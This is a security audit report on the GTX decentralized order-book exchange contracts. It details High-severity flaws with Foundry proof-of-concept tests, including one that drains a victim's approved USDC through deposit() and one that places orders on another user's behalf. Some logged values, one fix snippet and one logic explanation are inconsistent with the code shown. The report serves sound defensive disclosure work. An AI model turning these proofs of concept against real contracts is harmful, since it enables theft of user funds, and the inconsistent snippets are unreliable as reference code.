
# GTX Audit Report

Version 1.0

*KasturiSec*

June 28, 2025

# GTX Audit Report

KasturiSec

June 28, 2025

Prepared by: KasturiSec

Auditors:

- JuggerNaut63
- 0xDemon
- farismaulana

## Table of Contents

## About

KasturiSec consists of many best smart contract security researchers in the space. Although 100% security can never be guaranteed, we do guarantee the best efforts of our experienced researchers for your blockchain protocol. Reach out on Twitter @KasturiSec.

## Disclaimer

A smart contract security review can never verify the complete absence of vulnerabilities. This is a time, resource and expertise bound effort where we try to find as many vulnerabilities as possible. We can not guarantee 100% security after the review or even if the review will find any problems with your smart contracts. Subsequent security reviews, bug bounty programs and on-chain monitoring are strongly recommended.

## About GTX

GTX is a decentralized finance (DeFi) protocol designed to enable permissionless spot trading, with plans to expand into perpetual markets in the future. Addressing inefficiencies in Automated Market

Makers (AMMs) and centralized exchanges, GTX provides an order book-based, permissionless trading experience that is fair, efficient, and scalable.

## Risk Classification

| Severity | Impact: High | Impact: Medium | Impact: Low |
|---|---|---|---|
| **Likelihood: High** | High | High | Medium |
| **Likelihood: Medium** | High | Medium | Low |
| **Likelihood: Low** | Medium | Low | Low |

### Impact

- High - leads to a significant material loss of assets in the protocol or significantly harms a group of users.
- Medium - leads to a moderate material loss of assets in the protocol or moderately harms a group of users.
- Low - leads to a minor material loss of assets in the protocol or harms a small group of users.

### Likelihood

- High - attack path is possible with reasonable assumptions that mimic on-chain conditions, and the cost of the attack is relatively low compared to the amount of funds that can be stolen or lost.
- Medium - only a conditionally incentivized attack vector, but still relatively likely.
- Low - has too many or too unlikely assumptions or requires a significant stake by the attacker with little or no incentive.

### Action required for severity levels

- High - Must fix (before deployment if not already deployed)
- Medium - Should fix
- Low - Could fix

# Audit Details

## Scope

The review conducted from 11 June to 14 June 2025.

Review commit hashes: 81d7a7953948c079b7a35dd8646ce6123a57977b

Fixed commit hashes:

- 18644cf027371907f15438c897acb4f66d18d716
- 9b8b825546d167b71e44342e8832b5933a0993cd
- 57fadabbbd37cc32e611e4bdd7307143d3fff74f

Contracts in scope:

```
src/OrderBook.sol
src/GTXRouter.sol
src/BalanceManager.sol
src/PoolManager.sol
src/interfaces/IOrderBook.sol
src/libraries/Currency.sol
src/interfaces/IGTXRouter.sol
src/interfaces/IBalanceManager.sol
src/interfaces/IPoolManager.sol
src/libraries/Pool.sol
src/storages/OrderBookStorage.sol
src/storages/PoolManagerStorage.sol
src/resolvers/PoolManagerResolver.sol
src/interfaces/IOrderBookErrors.sol
src/storages/BalanceManagerStorage.sol
src/token/GTXToken.sol
src/storages/GTXRouterStorage.sol
```

## Roles

- **Owner/Admin**: The owner of the protocol, who has administrative privileges.
- **User**: Users who can trade on the platform.

# Executive Summary

Over the course of security review, we found a total of 15 issues, categorized as follows:

| ID | Title | Severity | Status |
|---|---|---|---|
| [H-01] | User can get drained via `BalanceManager::deposit` | High | Resolved |
| [H-02] | Attacker can use address of anyone to execute place order | High | Resolved |
| [H-03] | Accounting Inconsistency in `depositAndLock` Function Causes Permanent Loss of Funds | High | Resolved |
| [H-04] | Existing pool can be overwritten by anyone | High | Resolved |
| [H-05] | Wrong Checks Prevents Cancellation of Partially Filled Orders | High | Resolved |
| [M-01] | ETH Native Token Decimals Not Handled | Medium | Resolved |
| [M-02] | Non-existent Payable Modifier | Medium | Resolved |
| [M-03] | Liquidity Fragmentation Due to Non-Deterministic Currency Order in Pool Creation | Medium | Resolved |
| [M-04] | Actual swapped amount can be different if user have opposite side order when swapping | Medium | Resolved |
| [M-05] | `_tradingRules` are not validated | Medium | Resolved |
| [M-06] | Creating order via `GTXRouter` can only set in GTC | Medium | Resolved |
| [M-07] | Mishandling on `_validateCallerBalance` when user initiate `placeMarketOrder` causes `requiredBalance` always return 0 | Medium | Resolved |
| [L-01] | Order Status Not Updated During Matching Process | Low | Resolved |
| [L-02] | Swap Failure Due to Token Approval Flow Error | Low | Acknowledged |
| [L-03] | taker and maker fee is swapped | Low | Acknowledged |

# Findings

## High

### [H-01] User can get drained via `BalanceManager::deposit`

#### Severity

**Impact:** High

**Likelihood:** High

#### Finding Description

inadequate check for `msg.sender` as it only check if `msg.sender == user` where the transferred amount is taken from `sender`, this can be used by attacker to drain `sender` balance to themself.

the problem root cause is because the wrong check used in BalanceManager.sol#L72-L94 :

```
    function deposit(Currency currency, uint256 amount, address sender,
        address user) public nonReentrant {
        if (amount == 0) {
            revert ZeroAmount();
        }

        Storage storage $ = getStorage();
        // Verify if the caller is the user or an authorized operator
@>      if (msg.sender != user && !$.authorizedOperators[msg.sender]) {
            revert UnauthorizedOperator(msg.sender);
        }

        // Transfer tokens directly from the user to this contract
@>      currency.transferFrom(sender, address(this), amount);

        // Credit the balance to the specified user
        uint256 currencyId = currency.toId();

        unchecked {
            $.balanceOf[user][currencyId] += amount;
        }

        emit Deposit(user, currencyId, amount);
    }
```

function `deposit` validates the `msg.sender` by checking if it the same as `user`, but then proceed to balances of `sender` to the contract and then increment the `user` state balance of the contract.

this means that as long as `msg.sender` is the same as `user` , then `msg.sender`can transfer any provided `user` token balance to `BalanceManager` address and claim it for themself as long as `user` have allowance for `BalanceManager`.

#### Proof of Concept

The step is:

1. victim approving USDC to be spent by `BalanceManager` as this is the requirement for interacting with the protocol, let say the amount is 1000e6 USDC
2. attacker then proceed to call `BalanceManager::deposit` with following parameter:
    1. currency = USDC
    2. amount = 1000e6
    3. sender = victim address
    4. user = attacker address
3. victim USDC balance then transferred to `BalanceManager`
4. afterward, attacker calls `BalanceManager::withdraw` to claim the drained funds

apply the snipped below to `BalanceManagerTest.t.sol`:

```
    function test_poc_fundDrainViaDeposit() public {
        // victim
        uint256 depositAmount = 1000e6;
        uint256 userBalanceBefore = IERC20(Currency.unwrap(usdc)).
            balanceOf(user);
        vm.prank(user);
        IERC20(Currency.unwrap(usdc)).approve(address(balanceManager),
            depositAmount);

        // attacker
        address attacker = makeAddr("attacker");
        vm.startPrank(attacker);
        balanceManager.deposit(usdc, depositAmount, user, attacker);
        balanceManager.withdraw(usdc, depositAmount);
        vm.stopPrank();

        uint256 userBalanceAfter = IERC20(Currency.unwrap(usdc)).
            balanceOf(user);

        // assert attacker balance increased by depositAmount
        console.log("Attacker USDC balance: %s", IERC20(Currency.unwrap
            (usdc)).balanceOf(attacker));
```

```
19          console.log("User USDC balance decreased by: %s",
               userBalanceBefore - userBalanceAfter);
20          assertEq(IERC20(Currency.unwrap(usdc)).balanceOf(attacker),
               depositAmount);
21          assertEq(userBalanceAfter, userBalanceBefore - depositAmount);
22      }
```

the result would be:

```
Ran 1 test for test/BalanceManagerTest.t.sol:BalanceManagerTest
[PASS] test_poc_fundDrainViaDeposit() (gas: 118640)
Logs:
  Attacker USDC balance: 1000000000
  User USDC balance decreased by: 1000000000
```

#### Recommendation

made the changes below so `msg.sender` is compared to `sender` instead:

```
diff --git a/src/BalanceManager.sol b/src/BalanceManager.sol
index b5ae681..12f98f4 100644
--- a/src/BalanceManager.sol
+++ b/src/BalanceManager.sol
@@ -76,7 +77,7 @@ contract BalanceManager is IBalanceManager,
    BalanceManagerStorage, OwnableUpgrad

          Storage storage $ = getStorage();
          // Verify if the caller is the user or an authorized operator
-         if (msg.sender != user && !$.authorizedOperators[msg.sender])
    {
+         if (msg.sender != sender && !$.authorizedOperators[msg.sender
    ]) {
              revert UnauthorizedOperator(msg.sender);
          }
```

### [H-02] Attacker can use address of anyone to execute place order

#### Severity

**Impact:** High

**Likelihood:** High

### Finding Description

Attacker can use address of anyone to execute place order

This can have a bad impact if the trade results do not produce profits and are actually detrimental, the most fatal impact is that the attacker can place orders with the deployed malicious pool and drain the victim's wallet.

This can happen because the `_placeLimitOrder` and `_placeMarketOrder` functions do not use `msg.sender` as the address to be executed but use the `address _user` variable as the target then anyone can call the place order or place market order functions with someone else's address and create an order.

### Proof of Concept

Place a test in `GTXRouterTest.test.sol` and run `forge test --match-test testAttackerCanPlaceOrderUsingSomeoneElseAddress`

```
function testAttackerCanPlaceOrderUsingSomeoneElseAddress() public {
        IPoolManager.Pool memory pool = _getPool(weth, usdc);

        // Setup a proper order book with liquidity on both sides
        vm.startPrank(user);
        // Add sell orders
        mockWETH.mint(user, 10 ether);
        IERC20(Currency.unwrap(weth)).approve(address(balanceManager),
            10 ether);
        balanceManager.deposit(weth, 10 ether, user, user);
        uint128 sellPrice = 3000 * 10 ** 6; // 3000 USDC per ETH
        uint128 sellQty = 1 * 10 ** 18; // 1 ETH
        gtxRouter.placeOrder(pool, sellPrice, sellQty, IOrderBook.Side.
            SELL, user);

        // Add buy orders
        mockUSDC.mint(user, 10_000 * 10 ** 6);
        IERC20(Currency.unwrap(usdc)).approve(address(balanceManager),
            10_000 * 10 ** 6);
        balanceManager.deposit(usdc, 10_000 * 10 ** 6, user, user);
        uint128 buyPrice = 2900 * 10 ** 6; // 2900 USDC per ETH
        uint128 buyQty = 1 * 10 ** 18; // 1 ETH
        gtxRouter.placeOrder(pool, buyPrice, buyQty, IOrderBook.Side.
            BUY, user);
        vm.stopPrank();

        // victim with deposited fund on his address
        address victim = makeAddr("victim");
        vm.startPrank(victim);
```

```
26          mockUSDC.mint(victim, 1500 * 10 ** 6); // 1500 USDC
27          IERC20(Currency.unwrap(usdc)).approve(address(balanceManager),
                1500 * 10 ** 6);
28          balanceManager.deposit(usdc, 1500 * 10 ** 6, victim, victim);
29          vm.stopPrank();
30
31          // attacker place order on someone else address
32          address attacker = makeAddr("attacker");
33          vm.startPrank(attacker);
34          uint128 buyMarketQty = 5 * 10 ** 17; // 0.5 ETH
35          uint48 marketBuyId = gtxRouter.placeMarketOrder(pool,
                buyMarketQty, IOrderBook.Side.BUY, victim);
36          console.log("Market buy order executed with ID:", marketBuyId);
37          vm.stopPrank();
38      }
```

Result :

```
1  Ran 1 test for test/GTXRouterTest.t.sol:GTXRouterTest
2  [PASS] testAttackerCanPlaceOrderUsingSomeoneElseAddress() (gas: 840314)
3  Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 17.77ms
       (6.36ms CPU time)
4
5  Ran 1 test suite in 45.61ms (17.77ms CPU time): 1 tests passed, 0
       failed, 0 skipped (1 total tests)
```

**Recommendation**

Consider modify `address _user` to `msg.sender`

```
1  function placeMarketOrder( // apply this change for
       placeMarketOrderWithDeposit() function too
2          IPoolManager.Pool memory pool,
3          uint128 _quantity,
4          IOrderBook.Side _side
5      ) public returns (uint48 orderId) {
6          _validateCallerBalance(pool, msg.sender, _side, _quantity, 0,
               false, false);
7          return _placeMarketOrder(pool, _quantity, _side, msg.sender);
8      }
9
10 function placeOrder( // apply this change for placeOrderWithDeposit()
       function too
11         IPoolManager.Pool memory pool,
12         uint128 _price,
13         uint128 _quantity,
14         IOrderBook.Side _side
15     ) public returns (uint48 orderId) {
```

```
16          orderId = _placeLimitOrder(pool, _price, _quantity, _side,
                false, msg.sender);
17      }
```

### [H-03] Accounting Inconsistency in `depositAndLock` Function Causes Permanent Loss of Funds

#### Severity

**Impact:** High

**Likelihood:** High

#### Finding Description

The `depositAndLock` function in the `BalanceManager` contract has a fundamental logic error that causes an inconsistency between the physical token location and the accounting record. The function transfers the physical token to the specified `orderBook` address, but records the locked balance (`lockedBalanceOf`) in the `BalanceManager` contract.

This inconsistency causes a situation where the physical token is at the `orderBook` address, but the locked balance accounting is recorded in `BalanceManager`. This results in users being unable to withdraw unlocked tokens because the physical token is not available in `BalanceManager`.

The root of the problem lies in the implementation of the `depositAndLock` function in BalanceManager.sol#L113-L121:

```
function depositAndLock(
    Currency currency,
    uint256 amount,
    address user,
    address orderBook
) external nonReentrant returns (uint256) {
    if (amount == 0) {
        revert ZeroAmount();
    }

    Storage storage $ = getStorage();

    if (!$.authorizedOperators[msg.sender]) {
        revert UnauthorizedOperator(msg.sender);
    }

    // PROBLEM: Token transferred to orderBook
    currency.transferFrom(user, address(orderBook), amount);
```

```
19
20      uint256 currencyId = currency.toId();
21
22      unchecked {
23          // PROBLEM: Accounting is recorded in BalanceManager
24          $.lockedBalanceOf[user][orderBook][currencyId] += amount;
25      }
26
27      emit Deposit(user, currencyId, amount);
28
29      return amount;
30  }
```

The problem is that in this part `currency.transferFrom(user, address(orderBook), amount)` the physical token is transferred to `orderBook`. in this part `$.lockedBalanceOf[user][orderBook][currencyId] += amount - Accounting` is recorded in `BalanceManager`.

The correct way is to transfer user balance to `BalanceManager` contract instead of `OrderBook`

#### Proof of Concept

Add to `BalanceManagerTest.t.sol`.

```
1  function testDepositAndLockVulnerability() public {
2      // Setup: Create mock orderBook address
3      address mockOrderBook = address(0xDEAD);
4      uint256 depositAmount = 1000 * 10**6; // 1000 USDC (6 decimals)
5      uint256 unlockAmount = 500 * 10**6;   // 500 USDC
6
7      // Setup: User approve BalanceManager for token transfer
8      vm.startPrank(user);
9      MockUSDC(Currency.unwrap(usdc)).approve(address(balanceManager),
           depositAmount);
10     vm.stopPrank();
11
12     // Setup: Set authorized operators BEFORE ownership transfer
13     // First, we need to revert the ownership transfer from setUp
14     vm.startPrank(address(poolManager));
15     balanceManager.transferOwnership(owner);
16     vm.stopPrank();
17
18     // Now owner can set authorized operators
19     vm.startPrank(owner);
20     balanceManager.setAuthorizedOperator(operator, true);
21     balanceManager.setAuthorizedOperator(mockOrderBook, true); //
           Authorize mockOrderBook
22
```

```
23      // Transfer ownership back to PoolManager
24      balanceManager.transferOwnership(address(poolManager));
25      vm.stopPrank();
26
27      // STEP 1: Operator calls depositAndLock
28      vm.startPrank(operator);
29      balanceManager.depositAndLock(usdc, depositAmount, user,
            mockOrderBook);
30      vm.stopPrank();
31
32      // VERIFICATION ISSUE 1: Physical tokens are at mockOrderBook, not
            at BalanceManager
33      uint256 tokenAtOrderBook = MockUSDC(Currency.unwrap(usdc)).
            balanceOf(mockOrderBook);
34      uint256 tokenAtBalanceManager = MockUSDC(Currency.unwrap(usdc)).
            balanceOf(address(balanceManager));
35
36      assertEq(tokenAtOrderBook, depositAmount, "Token should be at
            orderBook");
37      assertEq(tokenAtBalanceManager, 0, "BalanceManager should have no
            tokens");
38
39      // VERIFICATION ISSUE 2: Accounting shows locked balance in
            BalanceManager
40      uint256 lockedBalance = balanceManager.getLockedBalance(user,
            mockOrderBook, usdc);
41      assertEq(lockedBalance, depositAmount, "Locked balance should be
            recorded in BalanceManager");
42
43      // STEP 2: mockOrderBook unlocks some tokens (now authorized)
44      vm.startPrank(mockOrderBook);
45      balanceManager.unlock(user, usdc, unlockAmount);
46      vm.stopPrank();
47
48      // VERIFICATION ISSUE 3: Accounting changes but physical tokens
            still at orderBook
49      uint256 userBalance = balanceManager.getBalance(user, usdc);
50      uint256 remainingLocked = balanceManager.getLockedBalance(user,
            mockOrderBook, usdc);
51
52      assertEq(userBalance, unlockAmount, "User balance should show
            unlocked amount");
53      assertEq(remainingLocked, depositAmount - unlockAmount, "Remaining
            locked balance should be correct");
54
55      // Physical tokens still at orderBook, unchanged
56      assertEq(MockUSDC(Currency.unwrap(usdc)).balanceOf(mockOrderBook),
            depositAmount, "Tokens still at orderBook");
57      assertEq(MockUSDC(Currency.unwrap(usdc)).balanceOf(address(
            balanceManager)), 0, "BalanceManager still has no tokens");
58
```

```
59      // STEP 3: User tries to withdraw unlocked tokens - THIS WILL FAIL!
60      vm.startPrank(user);
61
62      // Expect revert because BalanceManager doesn't have tokens to
            transfer
63      vm.expectRevert(); // Transfer will fail due to insufficient
            balance at BalanceManager
64      balanceManager.withdraw(usdc, unlockAmount);
65
66      vm.stopPrank();
67
68      // FINAL VERIFICATION: Proving the vulnerability
69      // 1. User has accounting balance but cannot withdraw
70      // 2. Physical tokens are stuck at orderBook
71      // 3. Accounting system is not synchronized with physical tokens
72
73      console.log("User accounting balance:", userBalance);
74      console.log("Tokens at BalanceManager:", MockUSDC(Currency.unwrap(
            usdc)).balanceOf(address(balanceManager)));
75      console.log("Tokens stuck at OrderBook:", MockUSDC(Currency.unwrap(
            usdc)).balanceOf(mockOrderBook));
76  }
```

Result:

```
1  forge test --match-test testDepositAndLockVulnerability -vvv
2  [] Compiling...
3  No files changed, compilation skipped
4
5  Ran 1 test for test/PoolManagerTest.t.sol:PoolManagerTest
6  [PASS] testDepositAndLockVulnerability() (gas: 221476)
7  Logs:
8    User accounting balance: 500000000
9    Tokens at BalanceManager: 0
10   Tokens stuck at OrderBook: 1000000000
11
12 Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.70ms
       (586.94µs CPU time)
13
14 Ran 1 test suite in 11.42ms (2.70ms CPU time): 1 tests passed, 0 failed
       , 0 skipped (1 total tests)
```

#### Recommendation

Transfer tokens to `BalanceManager`.

```
1      // FIX: Transfer tokens to BalanceManager, not to orderBook
2  -   currency.transferFrom(user, address(orderBook), amount);
3  +   currency.transferFrom(user, address(this), amount);
```

### [H-04] Existing pool can be overwritten by anyone

#### Severity

**Impact:** High

**Likelihood:** High

#### Finding Description

The `createPool()` function in the `PoolManager` contract does not have validation to prevent the creation of duplicate pools with the same currency pair. This allows anyone to create a new pool that will overwrite the existing pool in the storage mapping, making the old OrderBook inaccessible through the `PoolManager` interface.

This problem occurs because the `createPool()` function is permissionless (no access control). There is no validation to check whether a pool with the currency pair already exists, which causes the same pool ID to overwrite the entry in the `pools` mapping.

There are no restrictions on the `createPool()` function, anyone can call this function in PoolManager.sol#L53-L99.

```
function createPool(
    Currency _baseCurrency,
    Currency _quoteCurrency,
    IOrderBook.TradingRules memory _tradingRules
) external returns (PoolId) {
    // ❌ PROBLEM: Anyone can call this function
```

There is no check whether the pool already exists, proceed directly to creating a new pool.

```
PoolKey memory key = createPoolKey(_baseCurrency, _quoteCurrency);
PoolId id = key.toId();

// ❌ PROBLEM: No check if pool already exists
// Proceed directly to creating a new pool
```

#### Proof of Concept

Add to `PoolManagerTest.t.sol`.

```
function testPoolOverwriteVulnerability() public {
    // Setup: Set router first (required for createPool)
    vm.startPrank(owner);
    poolManager.setRouter(operator); // Set router as operator
```

```
5       vm.stopPrank();
6
7       // Setup: Owner (trusted admin) creates the first pool
8       vm.startPrank(owner);
9
10      // Admin created WETH/USDC pool with premium trading rules
11      IOrderBook.TradingRules memory premiumRules = IOrderBook.
            TradingRules({
12          minTradeAmount: 1e18,      // 1 WETH minimum
13          minAmountMovement: 1e17,   // 0.1 WETH movement
14          minPriceMovement: 10e6,    // 10 USDC movement
15          minOrderSize: 100e6        // 100 USDC minimum
16      });
17
18      PoolId adminPool = poolManager.createPool(weth, usdc, premiumRules)
            ;
19      IOrderBook adminOrderBook = poolManager.getPool(poolManager.
            createPoolKey(weth, usdc)).orderBook;
20
21      vm.stopPrank();
22
23      // Simulate trading activity in pool admin
24      vm.startPrank(user);
25
26      // User deposit and place order in admin pool
27      mockWETH.approve(address(balanceManager), 10 ether);
28      balanceManager.deposit(weth, 10 ether, user, user);
29
30      vm.stopPrank();
31
32      // Place orders as an operator (because only routers can place
            orders)
33      vm.startPrank(operator);
34      uint48 orderId = adminOrderBook.placeOrder(2000e6, 5 ether,
            IOrderBook.Side.SELL, user, IOrderBook.TimeInForce.GTC);
35      vm.stopPrank();
36
37      // Verify funds locked in admin OrderBook
38      uint256 lockedWETH = balanceManager.getLockedBalance(user, address(
            adminOrderBook), weth);
39      assertEq(lockedWETH, 5 ether, "WETH should be locked in admin
            OrderBook");
40
41      // VULNERABILITY: Regular users can create pools with the same
            currency pair
42      address regularUser = address(0x999);
43      vm.startPrank(regularUser);
44
45      // Regular users create pools with different rules.
46      IOrderBook.TradingRules memory flexibleRules = IOrderBook.
            TradingRules({
```

```
47          minTradeAmount: 1e16,      // 0.01 WETH minimum (more flexible)
48          minAmountMovement: 1e15,   // 0.001 WETH movement
49          minPriceMovement: 1e6,     // 1 USDC movement
50          minOrderSize: 10e6         // 10 USDC minimum
51      });
52
53      // PROOF: Pool creation was successful without error
54      PoolId userPool = poolManager.createPool(weth, usdc, flexibleRules)
            ;
55
56      vm.stopPrank();
57
58      // PROOF: Pool ID is the same (pool overwritten) - Convert PoolId
            to bytes32 for comparison
59      assertEq(PoolId.unwrap(adminPool), PoolId.unwrap(userPool), "Pool
            IDs should be identical");
60
61      // PROOF: Different OrderBook (admin pool overwritten)
62      IOrderBook newOrderBook = poolManager.getPool(poolManager.
            createPoolKey(weth, usdc)).orderBook;
63      assertNotEq(address(adminOrderBook), address(newOrderBook), "
            OrderBooks should be different");
64
65      // CRITICAL: User cannot access orders via PoolManager (orders are
            in the old OrderBook)
66      vm.startPrank(operator);
67
68      // Trying to cancel an order via the new OrderBook will fail.
69      vm.expectRevert();
70      newOrderBook.cancelOrder(orderId, user);
71
72      vm.stopPrank();
73
74      // CRITICAL: Funds are still locked in the old OrderBook which is
            not accessible
75      assertEq(lockedWETH, 5 ether, "Funds still locked in old OrderBook"
            );
76
77      // PROOF: Old OrderBook still exists on the blockchain but is not
            accessible via PoolManager
78      // Users can directly access the old OrderBook if they know the
            address.
79      vm.startPrank(operator);
80      adminOrderBook.cancelOrder(orderId, user); // This works because of
             direct access.
81      vm.stopPrank();
82
83      // Verify funds successfully unlocked after direct access
84      uint256 unlockedWETH = balanceManager.getLockedBalance(user,
            address(adminOrderBook), weth);
85      assertEq(unlockedWETH, 0, "Funds should be unlocked after direct
```

```
            access");
86  }
```

Result:

```
forge test --match-test testPoolOverwriteVulnerability -vvv
[] Compiling...
No files changed, compilation skipped

Ran 1 test for test/PoolManagerTest.t.sol:PoolManagerTest
[PASS] testPoolOverwriteVulnerability() (gas: 1221225)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.55ms
    (1.63ms CPU time)

Ran 1 test suite in 17.04ms (4.55ms CPU time): 1 tests passed, 0 failed
    , 0 skipped (1 total tests)
```

#### Recommendation

Implement pool existence validation.

```
    function createPool(
        Currency _baseCurrency,
        Currency _quoteCurrency,
        IOrderBook.TradingRules memory _tradingRules
    ) external returns (PoolId) {
    // FIX: Pool validation does not exist yet
+   if (address($.pools[id].orderBook) != address(0)) {
+       revert PoolAlreadyExists(id);
+   }
    Storage storage $ = getStorage();
    if ($.router == address(0)) {
       revert InvalidRouter();
    }
```

### [H-05] Wrong Checks Prevents Cancellation of Partially Filled Orders

#### Severity

**Impact:** High

**Likelihood:** High

### Finding Description

There is a boolean logic error in the `_cancelOrder()` function of the `OrderBook` contract that prevents users from canceling partially filled orders. This issue causes users' tokens to be permanently locked in the system as they are unable to retrieve the remaining unexecuted orders.

This issue occurs due to the use of the `OR (||)` logical operator instead of the `AND (&&)` operator in validating the cancelable order status.

In the `_cancelOrder` function in OrderBook.sol#L317-L319:

```
// Validation: order must be in OPEN or PARTIALLY_FILLED status
if (orderStatus != Status.OPEN || orderStatus == Status.
    PARTIALLY_FILLED) {
     revert OrderIsNotOpenOrder(orderStatus);
}
```

For orders with status `PARTIALLY_FILLED`, `orderStatus != Status.OPEN` = **`true`** (because status is `PARTIALLY_FILLED`, not `OPEN`) `orderStatus == Status.PARTIALLY_FILLED` = **`true`**. The result of **`true`** `||` **`true`** = **`true`** → REVERT (wrong!).

This logic is wrong because orders that are `PARTIALLY_FILLED` should be CAN be cancelled to retrieve the remaining unfilled items.

### Proof of Concept

Due to the problem with the `_processMatchingOrder` function not updating the status, here I modified the `_processMatchingOrder` function to update the status to support testing.

```
function _processMatchingOrder(
    Order memory originalOrder,                 // The original order
        you want to match
    Order storage matchingOrder,               // Orders to be matched
        from storage
    OrderQueue storage queue,                  // Queue where matching
        orders are located
    uint128 bestPrice,                         // Execution price
    uint128 remaining,                         // Remaining quantity
        not filled
    uint128 filled,                            // Quantity already
        filled
    Side side,                                 // Original order side
    address user,                              // User who owns the
        original order
    bool isMarketOrder                         // Is the original order
         a market order
) private returns (uint128, uint128) {
```

```
12      // Calculate the remaining quantity from matching orders
13      uint128 matchingRemaining = matchingOrder.quantity - matchingOrder.
            filled;
14      // Specify the quantity to be executed (minimum of both)
15      uint128 executedQuantity = remaining < matchingRemaining ?
            remaining : matchingRemaining;
16
17      remaining -= executedQuantity;              // Reduce the remaining
            quantity of the original order
18      filled += executedQuantity;                 // Increase the quantity
             filled
19
20      matchingOrder.filled += executedQuantity;  // Update quantity
            filled in matching orderr
21      queue.totalVolume -= executedQuantity;      // Reduce total volume
            in queue
22
23      // *** IMPROVEMENT: Update matching order status based on
            conditions ***
24      if (matchingOrder.filled == matchingOrder.quantity) {
25          // If the matching order is already full
26          matchingOrder.status = Status.FILLED;
27          _removeOrderFromQueue(queue, matchingOrder);
28          emit UpdateOrder(matchingOrder.id, uint48(block.timestamp),
                matchingOrder.filled, Status.FILLED);
29      } else if (matchingOrder.filled > 0 && matchingOrder.filled <
            matchingOrder.quantity) {
30          // *** FIX: If matching order is partially filled ***
31          matchingOrder.status = Status.PARTIALLY_FILLED;
32          emit UpdateOrder(matchingOrder.id, uint48(block.timestamp),
                matchingOrder.filled, Status.PARTIALLY_FILLED);
33      }
34
35      // Transfer balance between two users
36      transferBalances(user, matchingOrder.user, bestPrice,
            executedQuantity, side, isMarketOrder);
37
38      // Emit an event that the order has been matched
39      emit OrderMatched(
40          user,                                   // Users who make
                trades
41          side == Side.BUY ? originalOrder.id : matchingOrder.id,    //
                Buy order ID
42          side == Side.SELL ? originalOrder.id : matchingOrder.id,   //
                Sell order ID
43          side,                                   // Original order side
44          uint48(block.timestamp),                // Execution timestamp
45          bestPrice,                              // Execution price
46          executedQuantity                        // Quantity executed
47      );
48
```

```
49      return (remaining, filled);                // Return the remaining
            and fill in the new one
50  }
```

Add to `OrderMatchingTest.t.sol`.

```
1       function test_CannotCancelPartiallyFilledOrder_VulnerabilityProof()
            public {
2           // Setup: Alice and Bob deposit tokens for trading
3           vm.startPrank(alice);
4           balanceManager.deposit(baseCurrency, 10e18, alice, alice); //
               Alice deposits 10 ETH
5           vm.stopPrank();
6
7           vm.startPrank(bob);
8           balanceManager.deposit(quoteCurrency, 6000e6, bob, bob); // Bob
                deposit 6000 USDC
9           vm.stopPrank();
10
11          // Step 1: Alice places a limit order - Sell 10 ETH @ $2000
12          IPoolManager.Pool memory pool = _getPool(baseCurrency,
               quoteCurrency);
13
14          vm.startPrank(alice);
15          uint48 aliceOrderId = router.placeOrder(
16              pool,
17              2000e6,      // price: $2000 (in USDC with 6 decimals)
18              10e18,       // quantity: 10 ETH
19              IOrderBook.Side.SELL,
20              alice
21          );
22          vm.stopPrank();
23
24          // Alice's order verification was successfully placed with the
               status OPEN
25          IOrderBook.Order memory aliceOrder = orderBook.getOrder(
               aliceOrderId);
26          assertEq(uint8(aliceOrder.status), uint8(IOrderBook.Status.OPEN
               ));
27          assertEq(aliceOrder.quantity, 10e18);
28          assertEq(aliceOrder.filled, 0);
29
30          // Step 2: Bob places a market order - Buy 3 ETH (part of Alice
                's order)
31          vm.startPrank(bob);
32          router.placeMarketOrder(
33              pool,
34              3e18,        // quantity: 3 ETH (only a portion of Alice's
                   10 ETH)
35              IOrderBook.Side.BUY,
36              bob
```

```
37          );
38          vm.stopPrank();
39
40          // Alice's order verification is now PARTIALLY_FILLED
41          aliceOrder = orderBook.getOrder(aliceOrderId);
42          assertEq(uint8(aliceOrder.status), uint8(IOrderBook.Status.
                PARTIALLY_FILLED));
43          assertEq(aliceOrder.quantity, 10e18);  // Total quantity
                remains 10 ETH
44          assertEq(aliceOrder.filled, 3e18);     // 3 ETH already sold
45
46          // Step 3: Alice tries to cancel the remaining order (7 unsold
                ETH)
47          // This should work as there is still a remainder to undo.
48          // But due to a logic bug, this will fail with a revert.
49
50          vm.startPrank(alice);
51
52          // Expect revert due to logic bug in _cancelOrder
53          // Bug: if (orderStatus != Status.OPEN || orderStatus == Status
                .PARTIALLY_FILLED)
54          // For PARTIALLY_FILLED: (false || true) = true, so revert
55          // It should be: if (orderStatus != Status.OPEN && orderStatus
                != Status.PARTIALLY_FILLED)
56          vm.expectRevert(
57              abi.encodeWithSelector(
58                  bytes4(keccak256("OrderIsNotOpenOrder(uint8)")),
59                  uint8(IOrderBook.Status.PARTIALLY_FILLED)
60              )
61          );
62
63          router.cancelOrder(pool, aliceOrderId);
64
65          vm.stopPrank();
66
67          // Step 4: Verify that the order still exists and has not
                changed.
68          // This proves that the cancellation failed.
69          aliceOrder = orderBook.getOrder(aliceOrderId);
70          assertEq(uint8(aliceOrder.status), uint8(IOrderBook.Status.
                PARTIALLY_FILLED));
71          assertEq(aliceOrder.quantity, 10e18);
72          assertEq(aliceOrder.filled, 3e18);
73
74          // Step 5: Verify that Alice's 7 ETH are still locked
75          // Alice should be able to take back the 7 ETH she has not sold
                .
76          // But because it can't be cancelled, 7 ETH remains locked.
77          uint256 aliceLockedBalance = balanceManager.getLockedBalance(
78              alice,
79              address(orderBook),
```

```
            baseCurrency
        );

        // 7 ETH is still locked because it cannot be cancelled
        assertEq(aliceLockedBalance, 7e18);

        console.log("Alice Order ID:", aliceOrderId);
        console.log("Order Status:", uint8(aliceOrder.status)); //
            Should be 1 (PARTIALLY_FILLED)
        console.log("Total Quantity:", aliceOrder.quantity);
        console.log("Filled Quantity:", aliceOrder.filled);
        console.log("Remaining Quantity:", aliceOrder.quantity -
            aliceOrder.filled);
        console.log("Alice Locked Balance:", aliceLockedBalance);
    }
```

Result:

```
forge test --match-test
    test_CannotCancelPartiallyFilledOrder_VulnerabilityProof -vvv
[] Compiling...
No files changed, compilation skipped

Ran 1 test for test/OrderMatchingTest.t.sol:OrderMatchingTest
[PASS] test_CannotCancelPartiallyFilledOrder_VulnerabilityProof() (gas:
    560926)
Logs:
  Alice Order ID: 1
  Order Status: 1
  Total Quantity: 1000000000000000000
  Filled Quantity: 300000000000000000
  Remaining Quantity: 700000000000000000
  Alice Locked Balance: 700000000000000000

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.08ms
    (1.10ms CPU time)

